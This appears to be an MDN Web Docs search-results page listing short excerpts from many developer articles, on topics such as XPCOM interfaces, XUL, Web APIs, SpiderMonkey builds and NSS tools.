...al, in nsisupports aextraptr, in pruint32 aflags); nsivariant jstovariant(in jscontextptr ctx, in jsval value); nsivariant jsvaltovariant(in jscontextptr cx, in jsvalptr ajsval); void movewrappers(in jscontextptr ajscontext, in jsobjectptr aoldscope, in jsobjectptr anewscope); [noscript,notxpcom] void notejscontext(in jscontextptr ajscontext, in nscctraversalcallbackref acb); void releasejscontext(in jscontextptr ajscontext, in prbool nogc); void removejsholder(in voidptr aholder); native code only!
...And 29 more matches
Matrix math for the web - Web APIs
matrices can be used to represent transformations of objects in space, and are used for performing many key types of computation when constructing images and visualizing data on the web.
...this is a special transformation matrix which functions much like the number 1 does in scalar multiplication; just like n * 1 = n, multiplying any matrix by the identity matrix gives a resulting matrix whose values match the original matrix.
...by convention, this dimension is called the perspective, and is represented by the letter w.
...And 29 more matches
Example and tutorial: Simple synth keyboard - Web APIs
this article presents the code and working demo of a video keyboard you can play using the mouse.
... the keyboard allows you to switch among the standard waveforms as well as one custom waveform, and you can control the master gain using a volume slider beneath the keyboard.
... because oscillatornode is based on audioscheduledsourcenode, this is to some extent an example for that as well.
...And 29 more matches
Date - JavaScript
note: it's important to keep in mind that while the time value at the heart of a date object is utc, the basic methods to fetch the date and time or its components all work in the local (i.e.
...instead, it is defined in ecma-262 that a maximum of ±100,000,000 (one hundred million) days relative to january 1, 1970 utc (that is, april 20, 271821 bce ~ september 13, 275760 ce) can be represented by the standard date object (equivalent to ±8,640,000,000,000,000 milliseconds).
...(this time is historically known as greenwich mean time, as utc lies along the meridian that includes london—and nearby greenwich—in the united kingdom.) the user's device provides the local time.
...And 29 more matches
Using custom elements - Web Components
one of the key features of the web components standard is the ability to create custom elements that encapsulate your functionality on an html page, rather than having to make do with a long, nested batch of elements that together provide a custom page feature.
...note that custom element names require a dash to be used in them (kebab-case); they can't be single words.
... so for example, we can define a custom word-count element like this: customelements.define('word-count', wordcount, { extends: 'p' }); the element is called word-count, its class object is wordcount, and it extends the <p> element.
...And 29 more matches
Repackaging Firefox - Archive of obsolete content
firefox can be customized for the needs of a particular group of users (for example, your organization's employees or clients).
... because firefox is designed from the ground up for extensibility and customization, this process is simple and easy to maintain.
... getting started now, on to the technical details.
...And 28 more matches
Keyboard Shortcuts - Archive of obsolete content
creating a keyboard shortcut xul provides methods in which you can define keyboard shortcuts.
... we've already seen in the section on menus that we can define an attribute called accesskey which specifies the key which a user can press to activate the menu or menu item.
... in the example below, the file menu can be selected by pressing alt + f together (or some other key combination for a specific platform).
...And 28 more matches
button - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a button that can be pressed by the user.
... event handlers can be used to trap mouse, keyboard and other events.
... it is typically rendered as a grey outset rectangle.
...And 28 more matches
Game distribution - Game development
this article covers all you need to know about the ways in which you can distribute your newly created game into the wild.
... benefits of html5 over native building games with html5 gives you extra advantages, such as: multiplatform bliss the technology itself is multiplatform, so you can write the code once and target multiple devices.
... this can range from low-end smartphones or tablets, through laptops and desktop computers, to smart tvs, watches or even a fridge if it can handle a modern enough browser.
...And 28 more matches
Building up a basic demo with Babylon.js - Game development
if you have already worked through our building up a basic demo series with three.js, playcanvas or a-frame (or you are familiar with other 3d libraries) you'll notice that babylon.js works on similar concepts: camera, light and objects.
... html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: babylon.js demo</title> <style> html,body,canvas { margin: 0; padding: 0; width: 100%; height: 100%; font-size: 0; } </style> </head> <body> <script src="babylon.js"></script> <canvas id="render-canvas"></canvas> <script> var canvas = document.getelementbyid("render-canvas"); /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, and some css to set the w...
...idth and height of the <canvas> element (which babylon.js will use to render the content on) to fill the entire available viewport space.
...And 28 more matches
Visual typescript game engine - Game development
project : visual typescript game engine version: sunshine - 2019 2d canvas game engine based on matter.js 2d physics engine for the web.
...multirtc3 alias 'broadcaster' used for video chat.
... npm install npm run build navigate in browser /build/app.html to see client app in action -the client part is a browser web application.
...And 28 more matches
Sizing items in CSS - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to understand the different ways we can size things in css.
...we have given the image in the example below a border so that you can see the extent of the file.
...in our example below, that border stretches to the width of the container, because it is a block level element, a behavior that should be starting to become familiar to you.
...And 28 more matches
Styling web forms - Learn web development
this has historically been difficult — form controls vary greatly in how easy they are to customize with css — but it is getting easier as old browsers are retired and modern browsers give us more features to use.
... form controls were added to html in the html 2 specification in 1995; css wasn't released until late 1996, and wasn't supported very well by browsers for a few years after that.
... and even with css available to style html, browser vendors have historically been reluctant to make form controls stylable because users were so accustomed to the visual appearance of their respective platforms.
...And 28 more matches
HTML table basics - Learn web development
LearnHTMLTablesBasics
a table allows you to quickly and easily look up values that indicate some kind of connection between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swimming pool.
...you can find the answer by associating the relevant row and column headers.
... when done correctly, even blind people can interpret tabular data in an html table — a successful html table should enhance the experience of sighted and visually impaired users alike.
...And 28 more matches
Choosing the right approach - Learn web development
asynchronous callbacks generally found in old-style apis, involves a function being passed into another function as a parameter, which is then invoked when an asynchronous operation has been completed, so that the callback can in turn do something with the result.
... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl; document.body.
...appendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); pitfalls nested callbacks can be cumbersome and hard to read (i.e.
...And 28 more matches
Adding a new event
a simple dom event which can be implemented with webidl and widgetevent or something.
... how to implement an internal event class if you're in case 1 (a simple dom event), you can skip this section.
...typically, events in this header file never cross process boundary.
...And 28 more matches
Embedding Tips
normally it provide some functionality that is required from lots of places such as looking up preference settings, creating new windows, locating files, displaying prompt or password dialog boxes and so on.
...for example, the default prompt service uses xul to render prompt dialogs and embedders may wish to render them in a way more appropriate for their application and platform..
... get thensiwebnavigation interface on your webbrowser and call the loaduri method with the appropriate uri and flags.
...And 28 more matches
NSS Tools ssltap
the tool also displays the data to the shell window from which it was called.
... it can do this for plain http connections or any tcp protocol, as well as for ssl streams, as described here.
... the tool cannot and does not decrypt any encrypted message data.
...And 28 more matches
imgIContainer
ame(); violates the xpcom interface guidelines pruint16 gettype(); violates the xpcom interface guidelines void init(in print32 awidth, in print32 aheight, in imgicontainerobserver aobserver); obsolete since gecko 2.0 void lockimage(); void removeframe(in gfxiimageframe item); obsolete since gecko 1.9.2 void requestdecode(); void requestdiscard(); void requestrefresh([const] in timestamp atime); violates the xpcom interface guidelines void resetanimation(); void restoredatadone(); native code only!
... obsolete since gecko 2.0 void setdiscardable(in string amimetype); native code only!
...you can only be guaranteed that querying this will not throw if status_decode_complete is set on the imgirequest.
...And 28 more matches
nsIDOMEvent
method overview boolean deserialize(in constipcmessageptr amsg, out voidptr aiter); violates the xpcom interface guidelines void duplicateprivatedata(); native code only!
... nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getpreventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in ipcmessageptr amsg, in boolean aserializeinterfacetype); violates the xpcom interface guidelines void settarget(in nsidomeventtarget atarget); native code only!
... void stopimmediatepropagation(); void stoppropagation(); attributes attribute type description bubbles boolean used to indicate whether or not an event is a bubbling event.
...And 28 more matches
Using Objective-C from js-ctypes
objective-c has its own syntax, it cannot be written directly with js-ctypes.
...we can then convert it straight to js-ctypes code.
... class objc_getclass(const char *name); in /usr/include/objc/objc.h, class is defined as an opaque type by the following: typedef struct objc_class *class; in this example, we need the classnsspeechsynthesizer, which is retrieved with the following code: class nsspeechsynthesizer = objc_getclass("nsspeechsynthesizer"); registering a selector selectors can be registered and retrieved with sel_registername function, also declared in /usr/include/objc/runtime.h.
...And 28 more matches
PaymentRequest.show() - Web APIs
for security reasons, the paymentrequest.show() method can't just be initiated at any time.
... it may only be called while handling events that represent user interactions, such as click, keyup, or the like.
... only one payment request can be in the process of being handled at once, across all documents.
...And 28 more matches
Understandable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the understandable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... success criteria how to conform to the criteria practical resource 3.1.1 language of page (a) the default human language of each web page should be detectable via code.
... 3.1.2 language of parts (aa) in cases where the content of a page includes words or phrases that are in a different language to the primary language, use the lang attribute on an element wrapped around the term in question (e.g.
...And 28 more matches
Creating a cross-browser video player - Developer guides
the player controls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article.
... working example our example video player displays a clip from an open source movie called tears of steel, and includes typical video controls.
... note: you can see the example running live, or check out the source code on github.
...And 28 more matches
Navigation and resource timings - Web Performance
resource timings are detailed network timing measurements regarding the loading of an application's resources.
... both provide the same read-only properties, but navigation timing measures the main document's timings whereas the resource timing provides the times for all the assets or resources called in by that main document and the resources' requested resources.
... the general performance timings below have been deprecated in favor of the performance entry api, which provides for marking and measuring times along the navigation and resource loading process.
...And 28 more matches
Creating a Help Content Pack - Archive of obsolete content
original doc: http://www.mozilla.org/projects/help.../content_packs i hesitate to call it "original", tho, because i've basically rewritten the entire thing so that it's easier and faster to use to create help content.
... this document describes how to integrate html help documentation into your application using the mozilla help viewer.
... documentation contained in the help viewer can be accessed using any xul application or program that embeds mozilla.
...And 27 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
toolkit applications (such as firefox) use a different autocomplete mechanism than the mozilla suite.
... file (linux only) the local file system is searched.
... disabled type: boolean indicates whether the element is disabled or not.
...And 27 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
methods in addition to adding script properties to the xbl-defined element, you can also add methods.
... these methods can be called from a script.
...you can define custom methods for your elements using the method element.
...And 27 more matches
RDF Datasources - Archive of obsolete content
they work very similarly to the bookmarks, although the fields will be different in each case.
...the resource can be referred to using rdf:history as the datasource.
... the table below shows the resources (or fields) that you can retrieve from the history datasource.
...And 27 more matches
The First Install Problem - Archive of obsolete content
unless gecko does a pre-emptive scan upon startup for desirable plugins that are not in the browser's plugins directory first, the best way to solve this problem is to encourage plugin vendors to leave dlls (and xpt files, if applicable) in a location that gecko can discover at runtime.
... proposed solution on mac os x, the system's plugins folder will probably suffice as an install location in which browsers installed later can find their plugins.
...the solution suggests that plugin vendors ought to leave dlls on a windows desktop whether or not a netscape gecko browser is detected, and then write keys in the windows registry giving future netscape gecko browsers the path where the plugin resides and meta-information about how to load the plugin.
...And 27 more matches
Writing JavaScript for XHTML - Archive of obsolete content
in practise, very few xhtml documents are served over the web with the correct mime media type, application/xhtml+xml.
...partially it is because, prior to version 9, internet explorer was incapable of handling xhtml sent with the official xhtml media type at all.
... (rather than displaying content, it would present the user with a file download dialog.) but it is also founded in the experience that javascript, authored carefully for html, can break when placed with an xml environment.
...And 27 more matches
Mozilla XForms User Interface - Archive of obsolete content
mainly this is aimed to document how xforms elements will be presented in mozilla since the xforms specifications give only a hint of how controls might be rendered.
... currently xforms can be hosted by xhtml and xul in seamonkey and firefox.
...the xforms specs define two kinds of xforms ui elements, called 'form controls' and 'xforms user interface'.
...And 27 more matches
Unconventional controls - Game development
there's already a gamepad api working on the desktop computers, so we can imitate the experience, but we can go even further.
... modern smart tvs can handle html5 games, because they have a built-in browser that can be used as a gaming platform.
... smart tvs are shipped with remote controls, which can be used to control your games if you know how.
...And 27 more matches
How much does it cost to do something on the Web? - Learn web development
objective: review the complete process for creating a website and find out how much each step can cost.
...some, like sublime text, you can test as long as you like, but you're encouraged to pay.
... some, like phpstorm, can cost between a few dozen and 200 dollars, depending on the plan you purchase.
...And 27 more matches
What is a web server? - Learn web development
summary the term web server can refer to hardware or software, or both of them working together.
...(for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the web.
...an http server can be accessed through the domain names of the websites it stores, and it delivers the content of these hosted websites to the end user's device.
...And 27 more matches
Sending forms through JavaScript - Learn web development
html forms can send an http request declaratively.
... but forms can also prepare an http request to send via javascript, for example via xmlhttprequest.
...avoiding a full page load can provide a smoother experience by avoiding network lag, and possible visual issues like flickering.
...And 27 more matches
Vue conditional rendering: editing existing todos - Learn web development
to do this, we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels.
... creating an editing component we can start by creating a separate component to handle the editing functionality.
... in your components directory, create a new file called todoitemeditform.vue.
...And 27 more matches
Eclipse CDT Manual Setup
there is valuable information here that should be integrated back into that page, but a large amount of it is now taken care of by the mach project generation code.
... for now it's stored here until that integration happens in order that the eclipse cdt page isn't hugely cluttered with mostly redundant information, make setting up eclipse look much more complicated than it is nowadays.
... setup time some points in the rest of this document below are old and taken care of by the mach commands described above (although some of the project configuration is not done automatically yet).
...And 27 more matches
Listening to events on all tabs
adding a listener to listen to progress events on all tabs, call the browser's addtabsprogresslistener() method: gbrowser.addtabsprogresslistener(myprogresslistener); myprogresslistener is an object that implements the callbacks used to provide notifications of progress events.
... removing a listener to remove a previously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various events: onlocationchange called when the uri of the document displayed in the tab changes.
... void onlocationchange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, nsiuri alocation [optional] in unsigned long aflags ); parameters abrowser the browser representing the tab whose location changed.
...And 27 more matches
Examples
how to throw reject if you have a function that is a promise, and want to end it and throw a reject, you can throw an error.
...let lastpromise = newpromise.then(function onfulfill(){ }) .catch(function onreject(arejectreason) { console.warn('newpromise failed with reason: ', arejectreason); }); using a promise returned by a function (verbose) this example uses a verbose syntax, showing all the involved promises.
...let lastpromise = newpromise.then(null, components.utils.reporterror); in this case, if the file existence check succeeds, the onfulfill callback is invoked.
...And 27 more matches
PromiseWorker.jsm
summary a promiseworker is a chromeworker except instead of calling postmessage() to send a message, you call post(), which returns a promise.
...here is the test case from firefox codebase: mozilla dxr :: test_promise.js.
... promiseworker.jsm path: resource://gre/modules/promiseworker.jsm a javascript code module used by the main thread to create a worker thread and communicate with it.
...And 27 more matches
Refcount tracing and balancing
refcount tracing logs calls to addref and release, preferably for a particular set of classes, including call-stacks in symbolic form (on platforms that support this).
... how to run with refcount tracing on there are several environment variables that can be used.
...you can also set it to 1 to log to stdout or 2 to log to stderr, but these logs are large and expensive to capture, so you probably don't want to do that.
...And 27 more matches
NSS tools : ssltab
the two parts are separated by a vertical bar.
...you can use this option to upload the output into a browser.
...the tool does not automatically detect ssl sessions.
...And 27 more matches
NSS tools : ssltap
the two parts are separated by a vertical bar.
...you can use this option to upload the output into a browser.
...the tool does not automatically detect ssl sessions.
...And 27 more matches
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
the two parts are separated by a vertical bar.
...you can use this option to upload the output into a browser.
...the tool does not automatically detect ssl sessions.
...And 27 more matches
SpiderMonkey Build Documentation
building spidermonkey obsolete: the canonical documentation now lives at: https://firefox-source-docs.mozilla.org/js/build.html.
...(if you want to use spidermonkey as a library in your c++ application, or work on improving spidermonkey itself, do a developer/debug build instead, as described below.) cd js/src # this name should end with "_opt.obj" to make the version control system ignore it.
...no configure: error: installation or configuration problem: c compiler cannot create executables." you can try configuring like so: cc=clang cxx=clang++ ../configure it is also possible that baldrdash may fail to compile with /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found, err: true this...
...And 27 more matches
SpiderMonkey 1.8.7
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32).
...many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things.
... applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job.
...And 27 more matches
XPCOM changes in Gecko 2.0
prior to gecko 2, during component registration, all binary and javascript component files were loaded and called, asking them to register themselves.
...however, it's very easy to do, and you can actually support both types of registration for backward compatibility.
...xpt files the path of any xpt files must be listed explicitly in a manifest using an interfaces directive: interfaces components/mycomponent.xpt javascript components the registration information for javascript components is no longer located in the component itself; instead, it's located in the manifest.
...And 27 more matches
Detailed XPCOM hashtable guide
any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and almost anything else.
... keys can be disjunct (i.e.
... you can store entries with keys 1, 5, and 3000).
...And 27 more matches
IAccessible2
extendedrole ); [propget] hresult extendedstates([in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); [propget] hresult groupposition([out] long grouplevel, [out] long similaritemsingroup, [out] long positioningroup ); [propget] hresult indexinparent([out] long indexinparent ); [propget] hresult locale([out] ia2locale locale ); [propget] hresult localizedextendedrole([out] bstr localizedextendedrole ); [propget] hresult localizedextendedstates([in] long maxlocalizedextendedstates, [out, size_is(,maxlocalizedextendedstates), length_is(, nlocalizedextendedstates)] bstr localizedextendedstates, [out] long nlocalizedextendedstates ); [propget] hresult nextendedstates([out] long nextendedsta...
...an extended role is a role which is dynamically generated by the application.
... it is not predefined by the iaccessible2 specification.
...And 27 more matches
nsIZipWriter
operations on the archive can be performed one by one, or queued for later execution.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) once all the operations you wish to perform are added to the queue, a call to processqueue() will perform the operations in the order they were added to the queue.
...this is the path it will be located at within the zip file.
...And 27 more matches
FileSystemEntrySync - Web APIs
the filesystementrysync interface of the file and directory entries api represents an entry in a file system; it can be either a fileentrysync or directoryentry.
... warning: this api was never accepted and never became standardized.
... you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app.
...And 27 more matches
Node - Web APIs
WebAPINode
in some cases, a particular feature of the base node interface may not apply to one of its child interfaces; in that case, the inheriting node may return null or throw an exception, depending on circumstances.
... for example, attempting to add children to a node type that cannot have children will throw an exception.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/nod...
...And 27 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
ues in [0, 255] gl.unsigned_short: unsigned 16-bit integer, with values in [0, 65535] gl.float: 32-bit ieee floating point number when using a webgl 2 context, the following values are available additionally: gl.half_float: 16-bit ieee floating point number normalized a glboolean specifying whether integer data values should be normalized into a certain range when being cast to a float.
...cannot be larger than 255.
...also, we have to call gl.enablevertexattribarray() to tell webgl that this attribute should be filled with data from our array buffer.
...And 27 more matches
Synchronous and asynchronous requests - Web APIs
xmlhttprequest supports both synchronous and asynchronous communications.
... synchronous requests block the execution of code which causes "freezing" on the screen and an unresponsive user experience.
... asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received.
...And 27 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a url can address.
... content within each <a> should indicate the link's destination.
...can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename.
...And 27 more matches
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
this is typically represented using a slider or dial control rather than a text entry box like the number input type.
... because this kind of widget is imprecise, it shouldn't typically be used unless the control's exact value isn't important.
... events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input.
...And 27 more matches
Animation performance and frame rate - Web Performance
animation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
... the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate.
...code based animations, be it css, svg, <canvas>, webgl or other javascript animations, can cause performance issues even if the bandwidth footprint is small.
...And 27 more matches
Progressive web app structure - Progressive web apps (PWAs)
we will start with analyzing the js13kpwa application, why it is built that way, and what benefits it brings.
...they both have their advantages and disadvantages, and you can mix the two approaches to some degree.
...the website is slower on an initial visit, but can be faster to navigate.
...And 27 more matches
Advanced Rules - Archive of obsolete content
the full rule syntax the rule syntax described so far is useful for some datasources but sometimes you will need to display data in more complicated ways.
...you can specify a number of conditions, all of which must match.
...content element the conditions element can contain three elements.
...And 26 more matches
Styling a Tree - Archive of obsolete content
styling the tree you can style the tree border and the column headers in the same way as other elements.
...adding a style to the treecol element does not cause the style to be applied to the column but only to the header.
...this is because the tree body is stored in a different way to other elements.
...And 26 more matches
Tree View Details - Archive of obsolete content
creating a hierarchical custom view in the last section, we created a simple tree view that implemented only a minimum amount of functionality.
...here, we will examine how to create a hierarchical set of items using the view.
...the tree will query the view for each row by calling its getlevel method to find out the level of that row.
...And 26 more matches
Using Spacers - Archive of obsolete content
applications that need to support multiple platforms and languages usually have their windows laid out with lots of space to allow for this.
...(java uses layout managers for example.) xul provides the capability for elements to position and resize automatically.
...xul uses a layout system called the 'box model'.
...And 26 more matches
toolbarbutton - Archive of obsolete content
typically, it is expected to have an image.
... relevant accessbility guidelines all toolbar functionality should be duplicated elsewhere in the application where possible, provide keyboard alternatives.
... where possible, duplicate functionality in a menu item or context menu.
...And 26 more matches
Deploying XULRunner - Archive of obsolete content
this means that while the release is immature in some areas such as embedding, application deployment, and os integration, it can be used by developers that are releasing standalone xul applications.
... this document explains how deployment should be managed for self contained portable applications built on xulrunner.
... note: to actually install a xulrunner application, a compatible version of xulrunner must be registered on the system and the app must be deployed per the instructions at xul application packaging.
...And 26 more matches
Sunbird Theme Tutorial - Archive of obsolete content
you might be able to apply the same method to other mozilla applications by changing some of the details.
... introduction a theme is a package that users can install in an application to change the appearance of the application, without changing how the application works.
... for example, a theme can change the size and colour of the toolbar buttons, and provide different icons on the buttons.
...And 26 more matches
Tiles and tilemaps overview - Game development
tilemaps are a very popular technique in 2d game development, consisting of building the game world or level map out of small, regular-shaped images called tiles.
...this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any programming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor.
...when it's time to draw a tile, only a small section of this bigger image is rendered on the game canvas.
...And 26 more matches
How to structure a web form - Learn web development
the flexibility of forms makes them one of the most complex structures in html; you can build any kind of basic form using dedicated form elements and attributes.
...many assistive technologies and browser plugins can discover <form> elements and implement special hooks to make them easier to use.
...nesting can cause forms to behave in an unpredictable manner, so it is a bad idea.
...And 26 more matches
General asynchronous programming concepts - Learn web development
mac users, for example, sometimes experience this as the spinning rainbow-colored cursor (or "beachball" as it is often called).
...it is up to the programming environment you are using (web browsers, in the case of web development) to provide you with apis that allow you to run such tasks asynchronously.
...when a web app runs in a browser and it executes an intensive chunk of code without returning control to the browser, the browser can appear to be frozen.
...And 26 more matches
Ember interactivity: Events, classes and state - Learn web development
adding interactivity now we've got a refactored componentized version of our todo app, lets walk through how we can add the interactivity we need to make the app functional.
...in the below sections we’ll do this for each component, and then walk you through how the functionality can be implemented.
... creating todos for our card-header / todo input, we'll want to be able to submit our typed in todo task when we press the enter key and have it appear in the todos list.
...And 26 more matches
Creating a Language Pack
please consult the documentation on localized builds on firefox-source-docs.
... to create a language pack, or a localization repack, you first need to go through the initial setup process.
... pre-build steps in the .mozconfig, you want to have mk_add_options moz_objdir=@topsrcdir@/obj-firefox-build ac_add_options --disable-compile-environment ac_add_options --with-l10n-base=../l10n-central # path relative to moz_objdir ac_add_options --enable-application=[browser or mail] the given path should have your localization directory as child (i.e., a subdirectory ab-cd where ab-cd is your locale code).
...And 26 more matches
Cross Process Object Wrappers
so chrome code can't directly interact with web content: instead, it must factor out the code that interacts with web content into separate scripts that are called frame scripts.
... chrome code can load frame scripts into the content process using the message manager, and can then communicate with them using a message-passing api.
...this is because the chrome process runs the firefox ui, so if it were blocked by the content process, then a slow content process could cause firefox to become unresponsive to users.
...And 26 more matches
Storage access policy: Block cookies from trackers
this article explains how the policy works and how you can test it.
...that's because we document new aspects of the policy as soon as they land in firefox nightly, our pre-release channel.
...the cookie policy can be enabled in other versions of firefox through the content blocking settings (these steps will vary by version; the linked documentation includes a dropdown to select the appropriate firefox version).
...And 26 more matches
WebRequest.jsm
the event listener receives detailed information about the request, and can modify or cancel the request.
... you can use this api to implement a content policy in an add-on (for example, an ad or script blocker), as you could using nsicontentpolicy.
... more generally, you can also use this api instead of http request observers.
...And 26 more matches
XPCOMUtils.jsm
}, // [optional] an array of categories to register this component in.
... _xpcom_categories: [{ // each object in the array specifies the parameters to pass to // nsicategorymanager.addcategoryentry().
... category: "some-category", // optional, defaults to the object's classdescription entry: "entry name", // optional, defaults to the object's contractid (unless // 'service' is specified) value: "...", // optional, defaults to false.
...And 26 more matches
QA phase
after all of your hard work localizing we're sure that you not only want to see your work but you want to make sure it's accurate!
... if you're localizing mozilla websites, your work will display soon after you've committed it without needing a language pack.
... since such is the case, this part of the guide may not be entirely applicable to you.
...And 26 more matches
TraceMalloc
tracemalloc captures stack traces of all malloc, calloc , realloc, and free calls (this currently covers all operator new and delete calls in mozilla, too).
...the built mozilla application will support the following additional command-line options: --trace-malloc filename the application will log allocation and deallocation events with stack traces in a binary format to the given file.
... if filename is -, nothing is written to a file, but tracemalloc will be active and will track live allocations and their stack traces.
...And 26 more matches
AsyncTestUtils extended framework
oes not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("../../mailnews/resources/mailtestutils.js"); at the bottom of the test file, add the following: var tests =[ // list your tests here ]; function run_test() { configure_message_injection({mode: "local"}); async_run_tests(tests); } asynchronous testing basics why do we need it?
... sometimes in your tests you need to wait for an operation to complete that does not occur synchronously (that is, it is not done when the function call you made to initiate the operation returns control to you).
...this is how asynchronous callbacks get their chance to run again.
...And 26 more matches
nss tech note1
how to use the nss asn.1 and quickder decoders nss technical note: 1 nss 3.6 contains several decoders for asn.1 and der.two of them are extensively used and are part of the public nss api : the "classic" asn.1 decoder, written by lisa repka .
...it can only decode der .† it does not handle streaming input, and requires that all input be present before beginning to decode.
...quickder was written to be as compatible as possible with the classic decoder, in order to ease migration to it in areas of critical performance bottlenecks.
...And 26 more matches
Mozilla Projects
compare-locales compare-locales is a python script that helps localizers to check their work without running firefox or another application.
...generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... jshydra jshydra is a static analysis tool that is capable of performing analysis of general javascript code.
...And 26 more matches
nsIMemory
xpcom/base/nsimemory.idlscriptable this interface represents a generic memory allocator.
... inherits from: nsisupports last changed in gecko 0.9.6 nsimemory is used to allocate and deallocate memory segments from a heap.
... method overview voidptr alloc(in size_t size); violates the xpcom interface guidelines void free(in voidptr ptr); violates the xpcom interface guidelines void heapminimize(in boolean immediate); boolean islowmemory(); deprecated since gecko 2.0 voidptr realloc(in voidptr ptr, in size_t newsize); violates the xpcom interface guidelines methods alloc allocates a block of memory of a particular size.
...And 26 more matches
nsIMsgFolder
in boolean isdraft, in unsigned long newmsgflags,in nsimsgwindow msgwindow,in nsimsgcopyservicelistener listener); void acquiresemaphore(in nsisupports semholder); void releasesemaphore(in nsisupports semholder); boolean testsemaphore(in nsisupports semholder); void getnewmessages(in nsimsgwindow awindow, in nsiurllistener alistener); void writetofoldercache(in nsimsgfoldercache foldercache, in boolean deep); long getnumnewmessages(in boolean deep); void setnumnewmessages(in long numnewmessages); acstring generatemessageuri(in nsmsgkey msgkey); void addmessagedispositionstate(in nsimsgdbhdr amessage,in nsmsgdispositionstate adispositionflag); void markmessagesread(in nsisupportsarray messages, in boolea...
...); boolean shouldstoremsgoffline(in nsmsgkey msgkey); boolean hasmsgoffline(in nsmsgkey msgkey); nsiinputstream getofflinefilestream(in nsmsgkey msgkey, out pruint32 offset, out pruint32 size); void downloadmessagesforoffline(in nsisupportsarray messages, in nsimsgwindow window); nsimsgfolder getchildwithuri(in acstring uri, in boolean deep, in boolean caseinsensitive); void downloadallforoffline(in nsiurllistener listener, in nsimsgwindow window); void enablenotifications(in long notificationtype, in boolean enable, in boolean dbbatching); boolean iscommandenabled(in acstring command); boolean matchorchangefilterdestination(in nsimsgfolder folder,in boolean caseinsensitive); boolean confirmfolderdeleti...
